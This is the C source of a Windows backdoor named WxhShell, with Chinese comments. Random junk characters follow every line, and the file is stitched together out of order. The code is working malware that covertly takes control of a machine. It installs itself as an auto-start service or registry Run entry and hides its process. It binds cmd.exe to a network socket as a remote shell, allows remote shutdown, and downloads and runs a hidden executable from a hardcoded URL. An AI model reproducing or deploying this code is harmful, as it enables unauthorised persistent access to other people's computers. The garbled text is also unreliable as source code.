  // 关机 5ma~Pjt8}  
  case 'd': { 2O`s'&.h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;zi4W1  
    if(Boot(SHUTDOWN)) OP DRV\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "9;Ay@'B  
    else { vFK(Dx  
    closesocket(wsh); SuA`F|7?P  
    ExitThread(0); Gdlx0i  
    } Y IVN;:B.  
    break; Fw6x (j"  
    } *w1R>  
  // 获取shell E D_J8 +  
  case 's': { lUHpGr|U%  
    CmdShell(wsh); T2k# "zD  
    closesocket(wsh); e'dZ2;X$zo  
    ExitThread(0); n^rzl6dy  
    break; PJ'@!jx  
  } q7zHT=@$  
  // 退出 P L*kjrLu7  
  case 'x': { vrXNa8,L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d~O)mJ J  
    CloseIt(wsh); m[&pR2T  
    break; y-vB C3  
    } :4S~}}N  
  // 离开 5~xv"S(E}  
  case 'q': { 4+a u6ABy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /Y*6mQ:  
    closesocket(wsh); U\;mM\2rE  
    WSACleanup(); (%|L23  
    exit(1); 8MCSU'uQ  
    break; OyTp^W`&  
        } <{A|Xs  
  } UC?i>HsJrX  
  } (k>I!Z/&2  
M!] g36h[  
  // 提示信息 U( "m}^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |?<r  
} EP]OJ$6I  
  } l1}HJmom  
o%?~9rf]]  
  return; M\bea  
} 8f-B-e?k  
RQd5Q.  
// shell模块句柄 ~@EBW3>~5  
int CmdShell(SOCKET sock) Rs1JCP=d8  
{ "\x\P)j0>  
STARTUPINFO si; 2]-xmS>|b  
ZeroMemory(&si,sizeof(si)); `Z~\&r=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SR&'38UCe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *qL"&h5W  
PROCESS_INFORMATION ProcessInfo; w_^g-P[o-  
char cmdline[]="cmd"; Ck^jgB.7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e{`DvfY21  
  return 0; v/}h y$7  
} C-L["O0[  
M9dUo7  
// 自身启动模式 |%7OI#t^  
int StartFromService(void) gX *i"Y#  
{ YDo,9  
typedef struct "(SZ;y  
{ |>AHc_:$$  
  DWORD ExitStatus; 3']=w@~ O[  
  DWORD PebBaseAddress; Lw #vHNf6  
  DWORD AffinityMask; aG/L'weR  
  DWORD BasePriority; aT%6d@g  
  ULONG UniqueProcessId; bY7~b/  
  ULONG InheritedFromUniqueProcessId; ^1w*$5YI  
}   PROCESS_BASIC_INFORMATION; @P}!mdH1  
s4Y7x.-  
PROCNTQSIP NtQueryInformationProcess; BJ7m3[lz  
&&{_T4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [[9XqD]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mRC6m K>  
Zk75GC  
  HANDLE             hProcess; ,[0rh%%j  
  PROCESS_BASIC_INFORMATION pbi; <{b#nPc!,#  
IBe0?F #  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 334tg'2]  
  if(NULL == hInst ) return 0; !JVpR]lWS  
dEM=U;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iWu^m+"k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rJ}k!}G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i2+vUl|;Z  
>6zXr.  
  if (!NtQueryInformationProcess) return 0; a76`"(W  
V61.UEN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5Rec~&v  
  if(!hProcess) return 0; Sej\Gt  
E;C=V2#>[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /J0ctJ2k  
Fl&Z}&5p  
  CloseHandle(hProcess); H@pF3gh  
+~]LvZtI_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w0N8a%  
if(hProcess==NULL) return 0; e4?p(F-x(  
 ] cY  
HMODULE hMod; $+.!(Js"K  
char procName[255]; L;s,xV  
unsigned long cbNeeded; {!rpE7P-  
-R-|[xN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +XN/ bT  
b".e6zev  
  CloseHandle(hProcess); WF0[/Y  
A('_.J=  
if(strstr(procName,"services")) return 1; // 以服务启动 0"to]=  
nI6[y)j  
  return 0; // 注册表启动 *ioVLt,:R  
} j9Y'HU5"  
&DgJu.  
// 主模块 qC aM]Y  
int StartWxhshell(LPSTR lpCmdLine) kan4P@XVS  
{ m6=Jp<  
  SOCKET wsl; =ADdfuKN  
BOOL val=TRUE; L 2:N@TP  
  int port=0; RTR@p =ck  
  struct sockaddr_in door; )w3HC($g  
5L8)w5   
  if(wscfg.ws_autoins) Install(); El)WjcmH  
h16i]V  
port=atoi(lpCmdLine); $5n6C7  
G`" 9/FI7  
if(port<=0) port=wscfg.ws_port; 96$qH{]Ap  
#+,O  
  WSADATA data; m=uW:~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rF8n z:8  
O A9G] 8k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *(sUz?t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }yW*vy6`  
  door.sin_family = AF_INET; +P. }<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pl.K*9+  
  door.sin_port = htons(port); rWo&I _{  
J(JqusQd !  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^7 oXJu=  
closesocket(wsl); & 0*=F%Fd  
return 1; -h/KrB  
} >^fkHbgNQ  
eQvdi|6  
  if(listen(wsl,2) == INVALID_SOCKET) { S=bdue  
closesocket(wsl); ^Gs=U[**  
return 1; %[9d1F 3  
} .:)nG(7f<  
  Wxhshell(wsl); ') -Rv]xe  
  WSACleanup(); )+ss)L EC  
vtS [Tkk|A  
return 0; BRg(h3 ED  
^cy.iolt  
} 'U" ub2j  
T@ecWRro  
// 以NT服务方式启动 gZD,#D.hR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dUg| {l  
{ GcL:plz  
DWORD   status = 0; {tlt5p!4  
  DWORD   specificError = 0xfffffff; <!r0[bKz@  
/Ky xOb)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LT ZoO9O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &CEZ+\bA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "}jY;d#n  
  serviceStatus.dwWin32ExitCode     = 0; 17nONhh  
  serviceStatus.dwServiceSpecificExitCode = 0; a8Q=_4 l  
  serviceStatus.dwCheckPoint       = 0; 6GZ zNhz  
  serviceStatus.dwWaitHint       = 0; u(!@6%?-  
J^R#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (IY= x{b  
  if (hServiceStatusHandle==0) return; gADEjr*H  
R} #6  
status = GetLastError(); DWQ@]\  
  if (status!=NO_ERROR) >pV|c\  
{ `zJTVi4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >sL"HyY#H  
    serviceStatus.dwCheckPoint       = 0; '&.QW$B\B_  
    serviceStatus.dwWaitHint       = 0; ATb[/=hP<R  
    serviceStatus.dwWin32ExitCode     = status; lB0: 4cIj  
    serviceStatus.dwServiceSpecificExitCode = specificError; UvtSNP&/2d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Xv>FVG!  
    return; Jn>6y:s  
  } Jt3]'Nr04@  
c88I"5@[bD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $O/@bh1@p  
  serviceStatus.dwCheckPoint       = 0; ;P{HePs=)  
  serviceStatus.dwWaitHint       = 0; _26~<gU8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); itmdY!;<  
} c8'! >#$  
vl'2O7  
// 处理NT服务事件,比如:启动、停止 p+;[i%`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QlHxdRK`.  
{ A\jX#gg  
switch(fdwControl) RU1+ -   
{ \v'\ Ea~  
case SERVICE_CONTROL_STOP: Q]q`+ Z65  
  serviceStatus.dwWin32ExitCode = 0; +H7lkbW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _p~lL<q-K[  
  serviceStatus.dwCheckPoint   = 0; ;&N;6V"}  
  serviceStatus.dwWaitHint     = 0; _;Q1P gT  
  { 3\xvy{r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PV*U4aP  
  } nzdJ*C  
  return; St6U  
case SERVICE_CONTROL_PAUSE: YuZxKuGy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @GB~rfB[  
  break; XCGJ~  
case SERVICE_CONTROL_CONTINUE: [a&|c%h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jo.Sg:7&  
  break;  !XvQm*1  
case SERVICE_CONTROL_INTERROGATE: Myj 68_wf  
  break; 7>a-`"`O  
}; Ri}n0}I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $LLy#h?V]  
} >^8=_i !  
=c-,uW11[  
// 标准应用程序主函数 1?6;Oc^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [HKTXF{n  
{ f\ wP}c'  
d{UyiZm\  
// 获取操作系统版本 ^b{w\HZ  
OsIsNt=GetOsVer(); Wn(pz)+Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4&Q.6HkL  
O;u&>BMk  
  // 从命令行安装 ~"E@do("  
  if(strpbrk(lpCmdLine,"iI")) Install(); yX}riXe  
}4!R2c  
  // 下载执行文件 8u,f<XHi"a  
if(wscfg.ws_downexe) { E6{|zF/3'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5AWIk,[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0$-N  
} cMCGaaLU  
poqcoSL"}  
if(!OsIsNt) { r.5}Q?  
// 如果时win9x,隐藏进程并且设置为注册表启动 _`/: gkZS  
HideProc(); 'nOc_b0  
StartWxhshell(lpCmdLine); ltKUpRE\?  
} gg>O:np8  
else DA5kox&cU  
  if(StartFromService()) 9Ytf7NpR  
  // 以服务方式启动 Q0)6 2[cMm  
  StartServiceCtrlDispatcher(DispatchTable); kvzGI>H:  
else Fxu'(xa  
  // 普通方式启动 TwlrncK*  
  StartWxhshell(lpCmdLine); #Z'r;YOzs  
H1]An'qz,  
return 0; q;dg,Om  
} wt;7+  
w&eX)!  
vjy59m  
yw|O,V<4N  
=========================================== 3x=f}SO&  
%1uY  
hrpql_9.  
#S57SD  
2qY`*Y.2  
,\ y)k}0lH  
" x \.q zi  
]-Z="YPY  
#include <stdio.h> _;] 3w  
#include <string.h> X~DI d  
#include <windows.h> H\OV7=8  
#include <winsock2.h> S H"e x,=  
#include <winsvc.h> Iv6(Z>pAB  
#include <urlmon.h> ^f:oKKaAW;  
qSRE)C=)  
#pragma comment (lib, "Ws2_32.lib") ,)u\G(N  
#pragma comment (lib, "urlmon.lib") 7V6gT}R  
RT2%)5s  
#define MAX_USER   100 // 最大客户端连接数 'N?,UtG R  
#define BUF_SOCK   200 // sock buffer >tfy\PY:  
#define KEY_BUFF   255 // 输入 buffer %!5[3b'h  
i1qhe?5  
#define REBOOT     0   // 重启 481SDG[b  
#define SHUTDOWN   1   // 关机 K&zp2V  
l.r i ]e  
#define DEF_PORT   5000 // 监听端口 xef@-%mcoy  
50 :gk*hy  
#define REG_LEN     16   // 注册表键长度 ;aJBx  
#define SVC_LEN     80   // NT服务名长度 S&y(A0M  
iw!kV  
// 从dll定义API ~_SoP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H"_ZqEg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :zXkQQD8`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v(+9&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1l$c*STK  
:Ogt{t  
// wxhshell配置信息 #&JhA2]q  
struct WSCFG { j[z o~Y4z  
  int ws_port;         // 监听端口 #HjiE  
  char ws_passstr[REG_LEN]; // 口令 Ww9%6 #i t  
  int ws_autoins;       // 安装标记, 1=yes 0=no &,pL3Qos  
  char ws_regname[REG_LEN]; // 注册表键名 KLpe!8tAe  
  char ws_svcname[REG_LEN]; // 服务名 Xx~za{p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FOB9J.w4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D$W&6'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 26yjQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x>5"7MR`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /&g5f4[|p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *~~&*&+  
2R:I23[#B  
}; > YHwWf-  
O s*B%,}  
// default Wxhshell configuration h rL_. 4  
struct WSCFG wscfg={DEF_PORT, 0_d,sC?V  
    "xuhuanlingzhe", gOkq>i_  
    1, jmgU'w-s  
    "Wxhshell", NwH`t#zd  
    "Wxhshell", "pdq_35  
            "WxhShell Service", NA5AR*f'  
    "Wrsky Windows CmdShell Service", S2/6VoGE  
    "Please Input Your Password: ", \ /(;LHWQ  
  1, DYS|"tSk  
  "http://www.wrsky.com/wxhshell.exe", A=LyN$ %  
  "Wxhshell.exe" %A@Q%l6  
    }; XH_XGzBQS  
5$kv,%ah  
// 消息定义模块 1'q llkT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2b|$z"97jj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %d..L-`]ET  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [X +E  
char *msg_ws_ext="\n\rExit."; Q~R7]AyR  
char *msg_ws_end="\n\rQuit."; S GAu.8Js  
char *msg_ws_boot="\n\rReboot..."; )<w`E{q  
char *msg_ws_poff="\n\rShutdown..."; 6\MH2&L<  
char *msg_ws_down="\n\rSave to "; a!Z.ZA  
5,3Yt~\m  
char *msg_ws_err="\n\rErr!"; Ij+ E/V  
char *msg_ws_ok="\n\rOK!"; q9GSUkb  
"I"(yiKD  
char ExeFile[MAX_PATH]; 35}{dr  
int nUser = 0; Y7QIFY's~  
HANDLE handles[MAX_USER]; O>Y Xvu  
int OsIsNt; dgb#PxOMH  
Ho3$T  
SERVICE_STATUS       serviceStatus; 'Xl[ y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,L iX  
de.!~%D  
// 函数声明 %kM|Hk3d  
int Install(void); [i7Ug.Oi"  
int Uninstall(void); L B:wo .X  
int DownloadFile(char *sURL, SOCKET wsh); U#=Q`  
int Boot(int flag); $vlc@]~d`&  
void HideProc(void); ghXh nxG  
int GetOsVer(void); Z)RoFD1]C  
int Wxhshell(SOCKET wsl);  4wLp  
void TalkWithClient(void *cs); !!NVx\a  
int CmdShell(SOCKET sock); O gQE1{C  
int StartFromService(void); p&Usl.  
int StartWxhshell(LPSTR lpCmdLine); $S~e"ca1  
jD@KG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2rS|V|d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |Qq_;x]  
,j{$SuZ M  
// 数据结构和表定义 J|k~e,C  
SERVICE_TABLE_ENTRY DispatchTable[] = jOuz-1x,&  
{ }R.<\  
{wscfg.ws_svcname, NTServiceMain}, _1D'9!+   
{NULL, NULL} p=T,JAIt  
}; Ol8ma`}Nq3  
l56D?E8  
// 自我安装 gAcXd<a0  
int Install(void) X@$x(Zc  
{ %]/O0#E3Kz  
  char svExeFile[MAX_PATH]; /UG H7srx  
  HKEY key; Pb05>J3N  
  strcpy(svExeFile,ExeFile); fD8A+aA  
`mU'{  
// 如果是win9x系统,修改注册表设为自启动 OidF{I*O  
if(!OsIsNt) { wyqXD.o f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <mE)& 7C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - V Rby  
  RegCloseKey(key); t/? x#X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %M+ID['K9/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YG<7Zv  
  RegCloseKey(key); }nrl2yp:%  
  return 0; wgm?lfX<  
    } Y {]RhRR  
  } a~b^`ykcWP  
} ^P&)2m:s  
else { =Z ^=  
QO;W}c:N  
// 如果是NT以上系统,安装为系统服务 $<jI<vD+:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @+LZSd+I  
if (schSCManager!=0) cwK 6$Ax  
{ @pueM+(L&  
  SC_HANDLE schService = CreateService b"-eQb  
  ( !(=bH"P  
  schSCManager, b[<Q_7~2  
  wscfg.ws_svcname, v#EXlpS  
  wscfg.ws_svcdisp, pVTx# rY  
  SERVICE_ALL_ACCESS, ;\yVwur  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $i@~$m7d-  
  SERVICE_AUTO_START, s'yA^ VPf  
  SERVICE_ERROR_NORMAL, 2" (vjnfH  
  svExeFile, ]-O/{FIv  
  NULL, xviz{M9g  
  NULL, ejYJOTT{^  
  NULL, ADoxma@  
  NULL, oi4tj.!J  
  NULL HbWl:yU  
  ); D{~mJDUzK  
  if (schService!=0) 9o7E/wP  
  { B|#*I[4`w@  
  CloseServiceHandle(schService); Hd(|fc{2  
  CloseServiceHandle(schSCManager); MqXN,n+`k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MH{$"^K  
  strcat(svExeFile,wscfg.ws_svcname); D4?qw$"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m09 Bds  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {b4+ Yc  
  RegCloseKey(key); (dO, +~  
  return 0; Rg! [ic !  
    } g`)2I+L7  
  } .@{W6 /I  
  CloseServiceHandle(schSCManager); 9N^&~O|1  
} Z2d,J>-  
} $_,?SXM  
SdF*"]t  
return 1; R3;GMe@D#  
} 7[ )4k7  
,}%+5yH  
// 自我卸载 U[5  
int Uninstall(void) D.G+*h@ g  
{ a@_.uD  
  HKEY key; 3DRXao  
{Z<4  
if(!OsIsNt) { e-Z+)4fH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [G{{f  
  RegDeleteValue(key,wscfg.ws_regname); ^7Q}W#jy  
  RegCloseKey(key); lUXxpv1m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CA[-\>J7y  
  RegDeleteValue(key,wscfg.ws_regname); !( xeDX  
  RegCloseKey(key); 0tVZvXgTu  
  return 0; l_JPkM(mJw  
  } >/;V_(  
} N_TWT&o4  
} F-%wOn /  
else { l%h0x*?$  
v*}r<} j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mfjj+P  
if (schSCManager!=0) Y2i:ZP  
{ o@[yF<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;j]0GD,c$  
  if (schService!=0) F$Q( 2:w  
  { $<c0Z6f  
  if(DeleteService(schService)!=0) { (xffU%C^  
  CloseServiceHandle(schService); _uL{@(  
  CloseServiceHandle(schSCManager); )+2GF0%  
  return 0; \`?l6'!  
  } a5o&6_  
  CloseServiceHandle(schService); X-Y:)UT  
  } ks=j v:  
  CloseServiceHandle(schSCManager); %<%ef+*  
} xcfEL_'o  
} l0Wp%T  
"#x<>a )O\  
return 1; WXP=U^5Si  
} ;RNU`I p  
F"xD^<i  
// 从指定url下载文件 =}5;rK  
int DownloadFile(char *sURL, SOCKET wsh) )F;`07  
{ Q/rOIHiI  
  HRESULT hr; >YuBi:z  
char seps[]= "/"; 0?525^   
char *token; :Rc>=)<7  
char *file; 8"R; axeD  
char myURL[MAX_PATH]; LU5e!bP  
char myFILE[MAX_PATH]; !MoJb#B3^]  
t-gg,ttnA  
strcpy(myURL,sURL); p b:mw$XQ7  
  token=strtok(myURL,seps); YX38*Ml+V  
  while(token!=NULL) dXgj  
  { ML?%s`   
    file=token; 1euL+zeh  
  token=strtok(NULL,seps); gZ6]\l]J{  
  } uev$5jlX  
h?[3{Z^  
GetCurrentDirectory(MAX_PATH,myFILE); +$M%"=tk  
strcat(myFILE, "\\"); qQC<oR  
strcat(myFILE, file); E,,)?^g  
  send(wsh,myFILE,strlen(myFILE),0); :eqDEmr>  
send(wsh,"...",3,0); \"BoTi'2!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Vrl)[st!;I  
  if(hr==S_OK) isK~=  
return 0; C=L_@{^Rgb  
else =E@wi?  
return 1; t_1a.Jv  
](yw2c;m e  
} T-x1jC!B'  
sev^  
// 系统电源模块 Dpp 3]en.  
int Boot(int flag) 7r,'a{Rcn  
{ vKYdYa\  
  HANDLE hToken; z6e)|*cA$  
  TOKEN_PRIVILEGES tkp; ]O2ku^yM  
)3g7dtq}  
  if(OsIsNt) { ZGrjb22M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %KL"f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y&T(^EA;  
    tkp.PrivilegeCount = 1; `pS<v.L3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c%-s_8zvi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y\L$8BSL  
if(flag==REBOOT) { Srw ciF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N=hr%{} c  
  return 0; 4/; X-  
} ' O1X+  
else { #@xSR:m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `k~.>#  
  return 0; Oo{+W 5[  
} 1jU<]09.  
  } $!P(Q  
  else { (as'(+B  
if(flag==REBOOT) { ??tyz4$;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5zXw0_  
  return 0; ]37k\O?vd  
} 7n W*3(  
else { N\XZ=t^h(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w5uOi}T\  
  return 0; b'Cy!dr  
}  |/K+tH  
} $#ks`$v M  
+tFm DDx=  
return 1; !{5jP|vo  
} \5UwZx\  
kGhWr M  
// win9x进程隐藏模块 t/z]KdK P  
void HideProc(void) MIo5Y`T  
{ IgH[xwzy[  
hYRGIpu5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ql8E9~h  
  if ( hKernel != NULL ) Qp8. D4^@3  
  { q H&7Q{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sXm8KV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @a,X{ 0  
    FreeLibrary(hKernel); 8`E9a  
  } nnLE dJ}n  
J5Rr7=:*S  
return; DE3>F^ j  
} [oN}zZP]  
{?*3Ou  
// 获取操作系统版本 \z!*)v/{-  
int GetOsVer(void) gzqx{ ]  
{ )%p.v P'p  
  OSVERSIONINFO winfo; o_   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Rfh#JO@%[  
  GetVersionEx(&winfo); zA[6rYXY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PZ2$ [s0W  
  return 1; rq'Cj<=Zj  
  else fhqc[@Y[  
  return 0; iyNyj44 H  
} 6b+\2-eq  
s>`$]6wPa  
// 客户端句柄模块 l<  8RG@  
int Wxhshell(SOCKET wsl) T-|SBNFw;  
{ &$uQ$]&H  
  SOCKET wsh; \eD#s  
  struct sockaddr_in client; 3c] oU1GfF  
  DWORD myID; .zr2!}lB  
\wRbhN  
  while(nUser<MAX_USER) CU)'x E  
{ =mV1jGqX  
  int nSize=sizeof(client); 8XtZF,Du  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oeKI9p13\  
  if(wsh==INVALID_SOCKET) return 1; zp[Uh]-dMK  
^44AE5TO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =KJK'1m9  
if(handles[nUser]==0) w^N xR,  
  closesocket(wsh); l +RT>jAmK  
else lVY`^pw?  
  nUser++; !fF1tW  
  } D-*`b&i48  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y%!3/3T  
g+BW~e)  
  return 0; RE/'E?G  
} *IWO ,!  
tU7,nE>p  
// 关闭 socket A2 r1%}{  
void CloseIt(SOCKET wsh) [O*5\&6  
{ \(Z'@5vC  
closesocket(wsh); g/ONr,l`-  
nUser--; xsS/)R?  
ExitThread(0); *njdqr2c~  
} ,lSt}Lml  
W 0^.Dx  
// 客户端请求句柄 A `\2]t$z  
void TalkWithClient(void *cs) nokk! v/  
{ td-2[Sy  
$h1`-=\7  
  SOCKET wsh=(SOCKET)cs; 9d{iq"*R  
  char pwd[SVC_LEN]; %RA8M- d  
  char cmd[KEY_BUFF]; N@J "~9T  
char chr[1]; :9H=D^J  
int i,j; f?: o  
fis**f0  
  while (nUser < MAX_USER) { 2= FGZa*.  
TV)bX  
if(wscfg.ws_passstr) { B4AV ubMbe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n%PHHu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K~ gt=NH  
  //ZeroMemory(pwd,KEY_BUFF); i)fAm$8# G  
      i=0; '6i"pJ0%  
  while(i<SVC_LEN) { i/;Ql, gm  
Y$SZqW0!/  
  // 设置超时 ecIxiv\  
  fd_set FdRead; PY=(|2tb4  
  struct timeval TimeOut; =YlsJ={h  
  FD_ZERO(&FdRead); #JVw`=P  
  FD_SET(wsh,&FdRead); fiA_6  
  TimeOut.tv_sec=8; BeZr5I"`}  
  TimeOut.tv_usec=0; xI?%.Z;*+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x5\C MWW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )G6{JL-I  
v <1d3G=G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bqpy@WiI S  
  pwd=chr[0]; x zmg'Br  
  if(chr[0]==0xd || chr[0]==0xa) { eqD|3YX  
  pwd=0; -g8G47piX:  
  break; 9%aBW7@SK  
  } G3]TbU!!T  
  i++; zr%2oFeX,  
    } 'Ba Ba=  
$/</J]2`;  
  // 如果是非法用户,关闭 socket FbB^$ ]*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h-u63b1"?  
} [#$:X+lw  
7Pspx'u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {HPKp&kl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ft)7Wx" S  
?EF[OyE  
while(1) { M]&F1<  
7+wy`xi  
  ZeroMemory(cmd,KEY_BUFF); /IS_-h7>XS  
^g/    
      // 自动支持客户端 telnet标准   4'JuK{/ A7  
  j=0; &P 'cf|KI  
  while(j<KEY_BUFF) { (VeX[*}I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); csP 5R3  
  cmd[j]=chr[0]; xgV. <^  
  if(chr[0]==0xa || chr[0]==0xd) { e1a8>>bcI  
  cmd[j]=0; v|Y:'5`V  
  break; Y?G9d6]Lk6  
  } ?pq#|PI)  
  j++; .Bxv|dji  
    } \IB@*_G  
vAZc.=+ >  
  // 下载文件 O ;,BzA-n  
  if(strstr(cmd,"http://")) { :%ms6j/B&V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sx{vZS3  
  if(DownloadFile(cmd,wsh)) J8Bz|.@Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]6)^+(zU  
  else "w3#2q&  
